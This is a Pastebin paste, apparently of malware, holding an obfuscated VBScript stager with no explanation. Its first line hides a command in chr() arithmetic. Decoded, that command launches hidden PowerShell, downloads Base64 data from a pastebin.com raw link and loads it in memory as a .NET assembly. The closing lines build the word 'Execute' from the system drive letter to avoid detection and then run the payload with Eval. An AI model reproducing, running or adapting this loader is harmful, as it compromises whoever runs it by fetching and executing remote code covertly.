Advertisement
eslamnet

Untitled

Apr 23rd, 2019
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.50 KB | None | 0 0
  1. C = (chr(42-29)& chr(16-6)& chr(80-13)& chr(139-25)& chr(192-91)& chr(118-21)& chr(197-81)& chr(171-70)& chr(160-81)& chr(172-74)& chr(124-18)& chr(168-67)& chr(11*9)& chr(155-39)& chr(99-59)& chr(55-21)& chr(165-78)& chr(139-56)& chr(154-55)& chr(148-34)& chr(144-39)& chr(170-58)& chr(153-37)& chr(111-65)& chr(126-43)& chr(168-64)& chr(190-89)& chr(204-96)& chr(129-21)& chr(63-29)& chr(137-96)& chr(112-66)& chr(101-19)& chr(205-88)& chr(194-84)& chr(52-20)& chr(92-58)& chr(93-13)& chr(187-76)& chr(182-63)& chr(176-75)& chr(166-52)& chr(123-40)& chr(111-7)& chr(183-82)& chr(200-92)& chr(148-40)& chr(2*23)& chr(122-21)& chr(192-72)& chr(162-61)& chr(112-80)& chr(137-92)& chr(138-19)& chr(5*21)& chr(184-74)& chr(135-35)& chr(144-33)& chr(128-9)& chr(178-63)& chr(128-12)& chr(165-44)& chr(115-7)& chr(194-93)& chr(50-18)& chr(199-95)& chr(176-71)& chr(155-55)& chr(162-62)& chr(170-69)& chr(146-36)& chr(66-34)& chr(56-11)& chr(176-66)& chr(124-13)& chr(161-60)& chr(159-39)& chr(164-59)& chr(166-50)& chr(92-60)& chr(171-80)& chr(104-39)& chr(190-78)& chr(28*4)& chr(104-36)& chr(186-75)& chr(170-61)& chr(148-51)& chr(176-71)& chr(151-41)& chr(138-45)& chr(115-57)& chr(155-97)& chr(124-57)& chr(170-53)& chr(189-75)& chr(156-42)& chr(184-83)& chr(126-16)& chr(187-71)& chr(166-98)& chr(166-55)& chr(160-51)& chr(109-12)& chr(178-73)& chr(144-34)& chr(63-17)& chr(92-16)& chr(3*37)& chr(171-74)& chr(161-61)& chr(78-38)& chr(135-44)& chr(86-19)& chr(210-99)& chr(124-14)& chr(160-42)& chr(121-20)& chr(6*19)& chr(124-8)& chr(117-24)& chr(144-86)& chr(147-89)& chr(73-3)& chr(168-54)& chr(160-49)& chr(172-63)& chr(150-52)& chr(163-66)& chr(182-67)& chr(175-74)& chr(152-98)& chr(92-40)& chr(128-45)& chr(185-69)& chr(186-72)& chr(158-53)& chr(114-4)& chr(127-24)& chr(84-44)& chr(79-39)& chr(103-25)& chr(189-88)& chr(192-73)& chr(74-29)& chr(87-8)& chr(139-41)& chr(163-57)& chr(110-9)& chr(111-12)& chr(151-35)& chr(116-84)& chr(148-65)& chr(136-15)& chr(167-52)& chr(197-81)& chr(136-35)& chr(163-54)& chr(94-48)& chr(140-62)& chr(158-57)& chr(202-86)& chr(55-9)& chr(169-82)& chr(124-23)& chr(125-27)& chr(160-93)& chr(193-85)& chr(130-25)& chr(111-10)& chr(199-89)& chr(170-54)& chr(49-8)& chr(75-29)& chr(127-59)& chr(171-60)& chr(135-16)& chr(204-94)& chr(202-94)& chr(126-15)& chr(144-47)& chr(182-82)& chr(176-61)& chr(132-16)& chr(213-99)& chr(184-79)& chr(162-52)& chr(108-5)& chr(64-24)& chr(72-38)& chr(70-38)& chr(47-9)& chr(103-71)& chr(58-24)& chr(53-14)& chr(197-93)& chr(162-46)& chr(184-68)& chr(165-53)& chr(132-17)& chr(111-53)& chr(63-16)& chr(103-56)& chr(184-72)& chr(145-48)& chr(188-73)& chr(213-97)& chr(147-46)& chr(187-89)& chr(169-64)& chr(191-81)& chr(106-60)& chr(185-86)& chr(186-75)& chr(194-85)& chr(75-28)& chr(165-51)& chr(105-8)& chr(135-16)& chr(145-98)& chr(100-46)& chr(128-25)& chr(127-55)& chr(137-16)& chr(133-35)& chr(19*6)& chr(17*4)& chr(112-13)& chr(95-56)& chr(75-34)& chr(135-94)& chr(114-73)& chr(135-89)& chr(130-61)& chr(156-46)& chr(164-48)& chr(138-24)& chr(205-84)& chr(163-83)& chr(138-27)& chr(161-56)& chr(184-74)& chr(156-40)& chr(71-25)& chr(5*21)& chr(139-29)& chr(188-70)& chr(205-94)& chr(144-37)& chr(155-54)& chr(79-39)& chr(122-86)& chr(160-50)& chr(132-15)& chr(164-56)& chr(184-76)& chr(77-33)& chr(12*3)& chr(183-73)& chr(173-56)& chr(140-32)& chr(203-95)& chr(54-13)& chr(64-30)& chr(91-78)& chr(40-30))
  2. Set objShell = CreateObject("Shell.Application")
  3. Set objFolder = objShell.Namespace(&H26&)
  4. Set objFolderItem = objFolder.Self
  5. KK= Mid(objFolderItem.Path,1,1)
  6. n="Exe" & KK & "ute(C)"
  7. Eval(n)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement